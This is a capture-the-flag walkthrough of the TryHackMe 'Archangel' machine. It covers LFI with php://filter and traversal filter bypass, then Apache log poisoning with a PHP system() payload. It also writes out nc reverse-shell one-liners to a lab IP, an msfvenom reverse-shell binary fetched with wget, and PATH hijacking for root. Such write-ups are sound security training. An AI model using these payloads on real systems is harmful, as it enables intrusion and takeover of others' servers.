> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/tryhackme/untitled/archangel.md).

# Archangel

![](/files/-MbrX80KTbrXtv_a2yzp)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.104.47
```

![](/files/-MbsAAFMexH1EeUPukA2)

Detailed Nmap Scan : 

Command Breakdown: 

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 22,80 -oN nmap 10.10.104.47
```

![](/files/-MbsADs8OwUgA7E2NjJ9)

## Enumeration

Lets visit the webpage

![](/files/-MbsB1sNl6_zwscPQUWh)

Looking at the page, we see a domain , lets add this to our `/etc/hosts` file

![](/files/-MbsBGiPfbKhTUqKWcKw)

Now lets go to the webpage.

![](/files/-MbsBNMS99hQOR-DGc5i)

We have the first flag

![](/files/-MbsBRbP15yH3N_OK_Qn)

Lets look for a `robots.txt` file as we usually find pages that are important.

![](/files/-MbsBeBIonPl-zOkBQZJ)

And we found one, lets visit this

![](/files/-MbsBkPo2kgmPIbxiqTX)

The page has a button, lets press it

![](/files/-MbsBrloQspSUp8ZGOQc)

It takes us to a different page. Looking at the URL , the view parameter is navigating through the directories, lets try to use some LFI commands to find vulnerabilities. I was searching on google when I found this.

![](/files/-MbsCNHGTMx-7AjiDSAO)

## Exploitation

They say that we can use this command to bypass the filter and get a LFI vulnerability, lets test it out.

```
http://xqi.cc/index.php?m=php://filter/convert.base64-encode/resource=index
```

Lets change this command to our page and php file.

```
http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php
```

When we replace the current URL with this one, we get this

![](/files/-MbsCwngPr2mBF5mRdx0)

Its a `base64` encoded string. When we decode it, we get the message earlier.

![](/files/-MbsDGZkPkhTqzx5Rr_b)

Now lets try to read other pages like `test.php`.

![](/files/-MbsDdjJfcejjFqUnx60)

We get another base64 encoded string, lets decode it.

![](/files/-MbsDpBMEzvcrojp6ILb)

We have the second flag.

![](/files/-MbsDygrjZNnRhwU3o-O)

Lets now look at the code closely

![](/files/-MbsEhT5ezmcaKuvcy7f)

In line 17 we can see the conditions. The first one is that the parameter should not contain the substring `../../` and the second one is that the parameter must contain the string `/var/www/html/development_testing`. So for the first conditions we can use `../../../` .

We know that this is running on Apache web server so there should be a access.log  file, lets check if we can access it.

```
http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log
```

![](/files/-MbsOQspbYXjQIpA4_yf)

Now we can try log poisoning to get Remote Code Execution (RCE): We have to send this reverse shell in the request. 

```
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f');?>
```

Make sure to set up a netcat listener

![](/files/-MbsRYuSZhf5j4wNTtHC)

First we have to intercept the request and pass this code in the user-agent parameter&#x20;

![](/files/-MbsRtSOfM7CZhy5z-kd)

And now if we send the request we get a reverse shell.

![](/files/-MbsS-ZtkWgicnpVdGId)

Now lets stabilize the shell

![](/files/-MbsSH7wesPGkdMCxN-f)

We can read the user.txt file

![](/files/-MbsW0RXffyKMycOjfQW)

## Privilege Escalation

In the `home/myfiles` directory of archangel you see a `passwordbackup` file, you can go check it out.

![](/files/-MbsWFSqUSy8sPy4UAfU)

```
https://www.youtube.com/watch?v=dQw4w9WgXcQ
```

We have another directory which might be interesting called secret, lets try to change directories into it.

![](/files/-MbsWpVfHJlQWCfGkTvm)

And we are not allowed. We need to be the user archangel to access this. Lets look at other files that are owned by archangel.

```
find / -user archangel -type f 2>/dev/null
```

![](/files/-MbsXfsJV4PjYXFNUTwO)

We find these, the first one looks interesting, so lets check it out.

![](/files/-MbsXvTcP1G7-YfnfguS)

Its a bash script,  lets look at the permissions to see if we can write to it.

![](/files/-MbsYfuACcEtLXMEHSKQ)

Looks like we can so lets echo a reverse shell into the file and execute to get a reverse shell.

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f
```

Also make sure to start a netcat reverse shell listener

![](/files/-MbsYvTngCdbJId_BM2G)

Now lets echo the reverse shell into the file and execute the file

![](/files/-MbsZHPfnovw_EfjE4eb)

![](/files/-MbsZQ0bzcL6cRF2o7f2)

We are archangel now. Lets stabilize the shell

![](/files/-MbsZdmYyKwNKguNKy3O)

Lets go into the secret directory&#x20;

![](/files/-MbsZo0wxeV04wKUIdM2)

We can read the `user2.txt` file, lets read the other file called `backup`.

![](/files/-Mbs_3d0F4gUtQP7mHnx)

Looks like we can't the output we can read, lets see what type of file it is.

![](/files/-Mbs_FfWN4WEyzGWQZNh)

Its a `LSD shared object`. Lets use the strings command to get more information&#x20;

![](/files/-Mbsa19ClktTAwkKl8U4)

This command is interesting,  the `cp` command is run without the full path , which means that this is exploitable,  lets create `msfvenom` payload called cp and adjust the `PATH` variable and when executed we should get a reverse shell.

```
msfvenom -p linux/x64/shell_reverse_tcp -f elf -o cp LHOST=10.13.8.64 LPORT=1234
```

![](/files/-MbsagiN-qsz2AtYkNC3)

Now we have to transfer the file so lets start a http server.

```
python3 -m http.server 8000
```

![](/files/-MbsayyLO0uZUP8HPTKd)

Now use this command on the victim machine to download the file, make sure you are in the secret directory.

```
wget http://10.13.8.64/cp
```

![](/files/-MbwM-2zH4y5SubdOXKn)

Now lets modify the `PATH` variable.

```
echo $PATH
export PATH=/home/archangel/secret:$PATH
echo $PATH
```

![](/files/-MbwLgqOEOScuwH9CzFA)

Now start a netcat listener and make the cp file executable

![](/files/-MbwMDYRGwrwWnTxw8UO)

![](/files/-MbwMJSXiOu1vBKi8pvc)

Now run the backup file

![](/files/-MbwMTnjmbq54ylpKyQJ)

And you should get a reverse shell as root

![](/files/-MbwMYUpnc2p75iImsMt)